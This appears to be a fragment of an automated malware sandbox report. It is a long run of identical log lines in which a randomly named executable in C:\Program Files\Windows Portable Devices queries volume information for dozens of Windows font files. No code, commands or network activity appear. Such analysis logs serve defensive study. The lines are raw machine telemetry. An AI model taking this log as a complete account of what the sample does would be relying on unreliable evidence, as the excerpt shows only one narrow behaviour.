Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation
